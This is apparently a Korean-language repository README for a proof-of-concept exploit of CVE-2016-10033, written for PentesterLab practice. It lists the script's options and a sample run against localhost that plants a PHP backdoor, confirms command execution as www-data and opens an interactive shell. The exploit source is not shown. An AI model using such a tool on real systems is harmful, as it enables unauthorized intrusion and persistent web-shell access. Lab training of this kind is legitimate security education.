sealldeveloper/cve-2016-10033-pocPentesterLab용으로 만든 CVE-2016-10033 PoC
PentesterLab을 위해 작성했습니다.
PentesterLab 사용자라면 속임수를 쓰지 마세요. 배우는 것이 훨씬 더 좋습니다.
누군가에게 유용하기를 바랍니다. 미래의 저에게가 아니라면요 :)
대화형 셸이 있으며, 멋진 argparse 기능도 있습니다.
usage: poc.py [-h] [--target TARGET] [--backdoor BACKDOOR] [--proxy] [--raw] [--no-color]
options:
-h, --help show this help message and exit
--target TARGET Target URL
--backdoor BACKDOOR Backdoor path
--proxy Use local proxy
--raw Show raw output
--no-color Disable colored output
$ python3 poc.py --target http://localhost:8000 --proxy
[+] Using random backdoor name: caxvcs009f.php
[+] Sending exploit to target...
[+] Testing backdoor...
[+] Backdoor working! Test output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Starting interactive shell...
[+] Type "exit" to quit
--------------------------------------------------
shell> whoami
www-data